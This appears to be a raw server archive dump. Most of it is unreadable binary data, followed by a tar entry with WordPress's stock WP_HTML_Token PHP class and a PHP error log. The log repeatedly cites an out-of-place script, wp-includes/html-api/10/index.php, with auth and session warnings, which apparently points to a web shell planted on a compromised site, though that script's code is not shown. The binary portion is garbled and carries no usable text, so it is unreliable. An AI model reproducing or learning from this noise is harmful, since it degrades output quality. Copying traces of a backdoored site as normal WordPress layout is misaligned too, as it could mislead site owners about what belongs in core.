0G�A�C�k�5_����Ӭi�x�LG��;ŧ�/g��l��	���;����]��;k��3~�#�׉=?�R�Q���/�x��`�m���k��QSK~n��W�F�s�F��$�/]��f�I��T�_�5N"(��H�ۦ3Ɂ����R&J��H���g!�Zqj�Q��YV_�S)�=���ʙ�gmϻg��K��>��j"�&^q۲�KR�q�v,�K���:7˕�vF�'�|���q��0�!&WB��*o�/Q�����
oGc�S|�C��u���|d^��M��<�c�Ց���x4h>R#hʪ�`׋&~�9���	c�!�U[���k�/���y}���2Ƀ��W����+�n��v__�/�|��df��]�)�78+Q�-q������y�ͮ��E�{`��xx��������������'�4GF�5�K�8ȻJ��)R)���:�i6���^{J�_&!^��6�3;�&x�*p��*��_}O�*m�W��a���C~�x��,�d6�e��~b�晼�Z ���	A<ǘ�y��O��%4^Ry�pG��Ccҍ����{����p�~�C����������,�:ߵ6�r�^�ۡ�PR�����1}R����$���6����k�P���m���W�$.�C���ҫ@�a]���U�S]���D!аzC��~��������{��
rM�U߇���E��I@(�����]���	��[��?,�ҫ��[��a�:�C�9x�o�UZ!s�BgmS��)�����s��j�Bޝ�;��51���Y@��o�[_�C�"{�դ;|�{~Ui�	�jׄ�!�m����}Aq)���MW�N����6|�M���-����x-ޠ+�3����U�o�}ﵾ^�zn럲lO�Ӹo�fo2<�'m_�vM��������^mQ���^F���+n����N^څ�_nDo-��i����7��	�(�m
7�W�6aK��$�7������QD�k_�i�>����Āֿۢ9����k�b�슢��P���,�<��A%BW|6ȗ�u�bo(�/�
I�3�qnM��&AP��uLj$�G��#W�0��Qv�L�r�� �_j{�
�-V
��+�Qm%�
3=S��2ĥdg�������+�q��8�R��G��K�h��dr�/|�γlx��@89��h)��(*D�l��7�����1�X�BΞ��Crʟd�n���\6̒�\�MG�xS���C�1g ���O	5J&
jfo�id�k�>�|�����?	?^�%���!�N���fq6�Q:���$LI�SXm����^�T�c�����&_�y�F����T`�3b#��4�I��n�j�����լ!��/LL�]*b�&#�ָ���p(�]�R5��{	���
�d
~�:-�R7���˱���N�m����J��<:&���9�ڡqAΉZK��o�؊kj�����׳8�u^���.���I��ט�L)r�,��u���F��p�Q�*������ݾt�ׯ�B~DxnR䩒R�W{א��fu�HF��O3	��?��k?��b��OŸ���$aܘ�뵿9n���8����7�+��}�2z�)'e�I�3�E�Oc�`O��	
ǽ�J��4�S��Q�̲��%q�d2��憁�ȟ��&y�����S�P��T�tx�)���G�`��f��|i���	&���g�����DLk��F�+L�Vm���[	�"��!���Z�'[�{y�|<��ѡ���=<�����4D~b��,���ʕ���n���uw�\�o�>�r�C�y
͆2�dx���:d��C�o��c3�A2E�c�B	5�H"�Fr�rj��36����΍a�����Ѕ�a5\Ru}&��~�ٓh��P�����k�	 \�.,��^F�lo6��#��8E�i=��Y�DG5��Ν��>7b�nso����u��?duj���p4��.��K3�2����J�d�Dw�d٭�%)Qm���7�5��R�M��(s?��E?*?IM��4	Mu,����.�siؓ~�y�~��WwK
6���B\���M���s����[��r�)#��҄548:>8y�����'�TE�M�<z����z��;�9�+�KZ���W"H=|c5R;�����(�8;�%݊�L]Hǜ���'�+�N��E%�L`f֦H��0@c�
�<j�\�J_k��p�s���8�>���Ԣ�6k(fB�z�� vb��Ƶ������D��q�����c8���N��ȫ9-ڍ���/��>�'yo�g$.���c�4	�a|}46�=�||d�:�g��$�Q���A�M��2�#�_��d"2칓����RF4�{�@"S�Ш;��ΰ@����?�nm�smʶ�î��3b� �))��s��Pt���⪘�*Y��4ץ�Mp�$>lg�(��,L��:�.f��6-%c�-����� ���yD�(,&ΎIewxI�C�c�A�c
�n:�+
Е�v��_i�-7��) ��m��=�CN/+[Gg>������4�$����`d���Ӓ�I[PI���#a�*SS�>֦[n5րכX��ڛ��P���z���y��{��5o����x�s��{7��J��MF�)�������X��
1�R�v���T���2 �{���(6�K���l�Hn!���C���/��[J!�U.��]��]��A%
�aTnZ�p7�$E�-�
&�����h���赭$����ق�j-�8��Ά��tH�r��aeIt�+I�����T�
v�|8f�8���-�'�gpW��gH�B_�H5�HeP)�9�-vƞ8FLyD��� �t�>2OP�7�d��!�%�h�)�D2�h���J�Z�aw	�[�vf�Xt���f�9#C�M�g�*;�SΕ/Đ�!J�Y�h�k�\�	q�]%�@�6�/��V�Y]�c�6�8��k��L)9o}��1QQ, 1!�|�f%]��m0m���k�h��fc��H�E�r�Z�r
�E/�����PX)��mmպ_[й�^�=�E9�S
8����v��f�dd\~��w$�}�f��v��x,�dy�������?����:���a����R�燝�\Ƴf����J��o,1w�,�F��^ve�z�t9��1�,�Y�i�Ó޷O�z���a�D�&���Y.*O��)��d6&,oH�m��%�f����4J�l-��oll+Sa���>�����鎤��!�-܂�n:n�	s�c��+�G�W������N����k�F�Ҩц>
�@�~���w��><�v-�i����3A�L���9�#T�jOĥ(��(F<&^+sW
I�ieS�<��j+3H�FYs[�@�?�ҘB��_F`�ռw��A�LR�+ȉ~ lT�=o�G�Q�	^+�;ܺ�_��T��{c������S���.��L5�n��	�� f5s�<X`��!Cشlv��$jjw����B�K�0..���9���6i]f���&:)yh�p�c�~�q�����f�l�m�.�����$�4�28Î��$j
���b�Y}|���Ӄ���9��B��T�V�b4�f��S���R#Z��I�+<�筻�1������`��)��*{2̣U�d�a�Ԥw,W]��Nb�ZY�pU�@��t=,$I+�G�~�5�����p���u@kђ����i��G��%%^��,p�:V�4�@y����|�.������)
{r���r�������=y�U��9�������[�ݪVH�O0(j6�VPó�I;7��˘IJ*X�T[M��jb�46a��(
u(�E�<..����U�2���$����ά*S�}�H0�N�Vl�����W(;���,�zD�<��6;�c��Jjd\0����g���|���*��9رP�jì��>����@=Y�2���,OL9�F��+�(�"x�zW*_�Zܢ�r|�{�7��1X�NIyƤN�M2�FcN�
�Q���+�?߀�U:QYG�oVS|��sM3�ef���&7���މ�W/iW ��ҍ�$
v
$9��'�o�]}�D���v�)�[<X~!<&6ښ�~l)9��}��k]��d���XL\�$�K4RLč��d¾6)
�"�M����bLĈ�����DL9ΰZA\ �=b4���V�/Re�����1�n�d�2�uT1�K�˃�$�RNJ��䠃�C^Ɠ��:J��Fvy#ݤ��<���SI�:��@a^GaQ��Lw�Yo���=���)o�CA�T�*U�yҪjѝ�T��h��7I=Wo�^B˷X�Tu�����S,��~����ѣ�w��ֲ�qӭ�M>�i��[mf;ڕ<n�@i��=��>:�{r�_>}v�䛃�Ʒ���5�A
�����#l���2��6���*ؿJ���9j����� �e~Űvo��q�=˨_��Ȇ���	K�m��7h��=�!��}��u�&�D�@
�f1��4�� SG|�	
~�p<��t�XŚ���������J�+h�b�,ݔL
�tP�g�Z~B �m��[C,�'�:Ѧ4z��(�gˆ�c��`vw�)��W�i~�	E0c/Ix��	<�NWڷj�a|���b��`Fe-�)�'+H��9�c�E���5��u�P��B{�ݷH0�U7B����cO�p�#ce6�P�B��D�`�KVp�r��	�v�ދT*ڇ��������K}��|H����W�����T�%����R��2�Q���4@���ė̡�VuB
��•-Do�A�ښ��ʂ��'�����&���@
焨r6;HN�"9��yR�y�����&u�~
1bɕ=bH�ntg�n�ԛu"S�W�|ƚR&����z�	�`���DJ��_/���P.G!o�5g;�w̄0U��&��td�C�#��E'\e�
M�]�yX5<@���n���L�hS�ʪ֫u�
8��!�S�_�8L�aNҚ�"�f��P;e�Dvu<���5��w69o��\�e��+x����yժ��g9l�H��O�~���sx�Y��UwCQg��w}0����4YjC�l[�	N~ �㓝���L~�5�8Jy獿ڻ��l���{.Z
$<2�"���Z
����L=��°���?�[��������9�8��$x�I9�}�l�"|����މf����+&$n�rЉ�..u��P�(���6T��Z"�íc�֢*���y�B����9y������zg<IG����Q�#��`p���B����n߂��sj;c�j�4L�v��}�M{o�U��7k�AO��Zx��Z�Rf��4�RG�Y��2�S�{�N=M������Q��z����ʈ���)���h��
�]�Wc�G��Z׊ON��JF+l�
*,k�Xi��1g�"6��*��[Fο�j��h��F�v��w���3y�@h���)&��[�|<�
������Š6�T����+��:3�m]�h+d�Ԥd�J���	7|~E`�
��=�x�����'vב�����?b��'������GϬrb'Gl�w]���L��9
�Ǣ���FW����@�el������[@;i}F{Mh�'�`#�I�'��05�(��v-nߤ�C�>��y͖V���dI�L�#V���rc�9�>�Z�eH�ŒD/����jk�u�s�g׆���G�8�GIR-Q�ڃ&(q:�^?�v+?%e
�+l���55��#vFF=�Wy�bdeg�������AJAL	ʮ&��&��\�0i��(<_�Zb��B���tK<bP ��	.�(�ǐ�
X&ߥ{�Y\���F�c�x��{떭�I&�n^�4Q[�M*��5M�`��O

>��qFlD�
8Q���Er��M�H��
�!z�y�A��7��W�$�{���`�����*����+�z3\�l������{��{����E[;o�����/�T��}�yvx��'ժ�T=����~dž��G:�u5H����!��(#�X�dZɒ��}��Eݿv��#l:J$g�X�`*�AL��a�x~�F�d��P��4�v�U�xH^t�N�"���وQ$��#�IF*�D�>V��njѲ#��2��ʖ058��G�����b���R6ͱ�o�["ݫ1[I�f��Nc2�Tt�mkDn����rN��Ӫ�
Z�N��6g��,���Z$<��hXCR�,�����#r���A4�	���T�oƿ���G9Cc�dU�Z��є��sqJY�Zy�-u$o"�l�wP�����@�I��D&C�?�C��+9s�߹�8��N����a��w�π�^-C�ݵ��Q�f���&(e����pG��m4B�	}�u���BE|a��m0a�ʦ�^S�z۷�к�I�����-
����1Q2V���-U.Et�ZyE�VU�|�:Õx)��(I�L�xĈ��Y><��7O�rT����
ũ��t�t�,�pb��Ҳ�i{��*�u�Ni�
3�%S�gL?2d����E�~B�X��?�@��d����4��7�X��XL}��r<"�^�5ʻ�p����K���)8=x󙾹��S�[�۸'(�lؒAzz�'F�g�$���!.�e��#��֏����G;(�~��%V�ȳQSw̸Q��+�0�?���]������%����5��k��7����
���ه�G�hM;ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h�Q��osV�|�33�&��]M{�|�07�^��0ë����<�\�^�zON�l�����@�'p��jy�5�y��MX�]W�S���-$P-�-��U��lR'v�}�V�X�%oΤ�c�oL6NK�#�Ǒt�?]���ug�˼�v^�����4C�B�B�0m��1s'���0	tʍE3�<���~����Nլ"#K4��gԜ�o���A�n[)����d��e���I���
:��")z�u�+����>@�>������d�+5��?�Ie[�_Y�|������)�AGh%NEG%ɇF��R@q�e{����w}�����F#F[?\��~�����V+� 0MьM_S�¨��P%�mO��62!Ȝ_�$P�]Fn��
�������ڄ�Ct��Tˆ�W����,�"F7��̜�ɺ�Oǯ<R��4�V�d�
n���8Ǝ�v�(�T�az�Y���7������E�f�?0/bN?%���B��qó�U��G�t؊�w����'�!�=��:���}���e&�L��G!��q$�c�6���vB���D���
?;˝��YU&��n)�`}� ��u��{���j�S=UL�EQ�`2Ȃ�8�fh��C�x���@�@�*U�`Р�s�"� ���(?q�
���;��6�C���Z4�]��7��8eб�)����0���E)$�!`��[M�
���>�0���#�ckS�S�U�MJ�	�R�G��~��[�Ŏ$�_�jGEc�G<�\}��$6�Ю�mVv�ph]aoӲ�>S}u����?���Wv`.;����s��SƲ��a���e�[�{�4}Ď{G8�H:�$a�DW�5�ȍ�I]���<f�u[f�3
�1{���(�0u�K:��2����+xP��]���}�C��w��n�o�'8������s�ť�!p�Y�^H�a��+���<���Hx�:1�6�5�,�@��E���t�q���r���;�y8�뱳��c6�s!�W����5��gZ��ϛ�yW���g����G�Y�伯~��J"|kO�:�4����w�!`���@&b�c���A��P[�]�t
�>���*��<v�˨�U}������h��
��7c<�Ӟa?�1�/����Ű �62#51�n�xc����w��w�{R��F,(y$W��k酷��&���~��㽓��ٺ4'�=f`���

��g_�x��Ѣ��ȫP�8r�Q[��=^@7�)��UX$.���K�o�����4��NE�X�uf��5�Ngl��"��<W-�a�$f��!��C(��M �P��Y�]@���Kl�����R�;0�I�C|{,�$�>:n�N��	t�j<M��f����U���+?�IU���s��U!�P�jBp��W�mb��'�~�WD�WD��
�����j��НM�'�3%�Ź��
�,B{��\+Cw�X�/�ʊP�Mr�}5��0�'Ԩ�ժ^����ߙ��2=/��^�~@Y0�� SL�����*�F���
}���E�G:���@�o��E�0d��Y�7z�������s��	���zf�I�X���g�O+bRE��������{����(	ǧWh��TU}odY�b�g��
'1��#G�X>Ȧ�Fx�Vy��}�.I��#p8͊��<)s�b�NAT!�J��%��+��<�|b��UxQ�w(�ٓFT�1-
H��!m�E{&m�!r�0��(zLX�T���K�#45SYp�:�r�����
GBק��-�sk9Ù��F�v>4�]�r�N�m*tL�`>	Q̋#�Ws=���<�!�"	f�8��d��hn��LMA)��ɔ�'v�(T\���r�����%��?��BI	|l��/��
7�M&��먭���%dw
΍�aa��e/�kb9
�D��,�MŢ��bm)LD��e�:��v�s`l�蜱(,�mq�#�N�`k��&����X,�]O
�3�����"J:[����r�%+�q��2Y�����i!�C9�0�X�j�b��$��Vn�>*���K�=��Gy=+��Oƻ�H��_��k1����㿍0nn�����r��ɲf"����?��ݿ��?�ß��p�����[�����ݫ�`���v���L�>pTu>�py�#��uzͯ%�$�N1`Z$q��o���rR-)4ߺն��6Ƴ)_[L/I)�u�a�s���͖�;��N����h��Ê�+~L�ZO�Ɵ��<��,L�)���1�g����ki��J��;�!�p*�^v~�r�#B����Wɰ3
of�[�����!Ѭ��v�{�N7vZ�3Kw';(�G	k�}x��""�����
�#�<��;�%��SG>�ZTD����0���Vn��\fӈ�VK�e��J|}����q�)����^�P�L=����U���VH�~L������ʞ�T����ў��[`$/�f�6a�����MyP�m�_��I���U���cO��x%I�:W���W��ii���=n�쯯��.�ݓ�V�45�Fh+@��C���]&�xr:��/�ak���أ
{3�o�̰���;�Y�:d��8H9�!�8N�M���A�H�Zٍ彛Q���q~��ݹ3v�ѹ��2l
���z6P�E[5�
��h��N�m4wx�s&P�(8��Ν�{������l`�����YVnk�����ڌ�o�m;�����Z.�ҐǢ�T�����3��ĥ�&�����R��^1)��f��9[:�Mh=��ܦ���3F��PșyI1�_L��Q��իg��Ѧ��z�SO�)lp��z4���{��q z�;�ա.c%���	�g��'j�h���D��Yg�-jv�a=J��tr���(6�+U���ΰhǔ՝K�SR
HJ���tL�<u]���v��I�4�Tw�b��[�}C�9GGq��@�+�;��C�=52F��)���q%�ZT�R2Q�G�ICd�(Y�	�X� p��׼4D���s���4������C���m:+����\�wI��Ir�Q��qT�74�p�0�kt����B�5�b�r~�_�Wynk4���<:&m�I����ݡ��6���ƌ�@�ߌ��*NIɕ}x�;5���z!�R��.��uR����{z�G��V�ť�kSH%F/(Cg&�
�4<i(�ث�P�	���
��=>��i��g{��}1]*p����%9��l��u���Z5�ԝ�ĩ(+Jfp��pSk�D
�EKڭ���+P�~[��ٓ���vW�Ihc':4������A����k*[����*�qx� b)đ�0F��C�<��J:b��g�4Mq����(W��i��p4��9��㙭�(��bxg�!+5�	�
rG��BG\�֦�%�Y�0�C���z��F�M@��
�7��sJ���ز�~]��նnx=&f������I�Pb�6�$�M�1�a��7�u�0{�<mUM}��INE��&��d6�Q��e�(�{��ɫ��5����y�b���V�����O]�$W#�S�����@�x*'�������:�Vעg�1�So`�HS$+.����ȝ�5��g���&j�ok������"ř>�n�*��\��ԑA\^�uG�:���e�r@�Ly�>��
?���<����\�������2�Z��oo�@�]�s��H&q2i
�̋I��Xո����R�Y�|ā.�R��`�Yo⨅n$3��mY��J��iy��m��	��)�I���P\)y�!�)
����W<y���)�Tr��������Ϟ��4���=��bҫk��l�	����`���z��v��n]M�gi��j��l,��s��޹_��5]=r',5�-T�9�����Q�A�`'I��sg��4��a5|���1隤����P��$+��s.
1��f�^��N�:�H��f�8�� -T��Ԙl��{b����T�^������)]w�����+6+s�>�}s����1���`���.�j�ś|�l3&�b���B�uU�f,�8,ܠ���?�����-�O����B߯$���Ǎ�����Ϟ}�����6W�~�&L�Zy�DP.06���iۛ���\�[����V��Ʀ�CC�F�M���1�w%oÃ�iDf���;�/9G��t6�N��LB��OQs�i���0o#U,/8S���~��{w3 ;|�{X�>ATew�W��<ͺ���Ua��j<��q�F{�5�#�V!0�\�*��U��$a�7�<�Dm��ao�����ɉq�2�쮳2kZ�8���R���+�����s�)�:�t���Ò��ur�w������@���|ȏ���KL_�Z��;���zn���ټ.��;�߽�ixG1��1�:�F�X&�S��"^7�������D�0;}�#'c�����):�Z9+Rs����?y~�W@��)s��l�N��j�x��ŝm�`�N���i�.�ZuL]uИ�=êW�C�{���*�����Ӷ���z�%�s����֔e��f����0E=!��n��&����=xzp|�����ۅ�T�&|?�I��W��|�8����<}x��{���5�veh��9�������K�Oa��n�������?����U?�?g���VPKgN\��J�class-wp-html-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-token.php000064400000006522151440277720022105 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKgN\�l{<����	error_lognu�[���[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
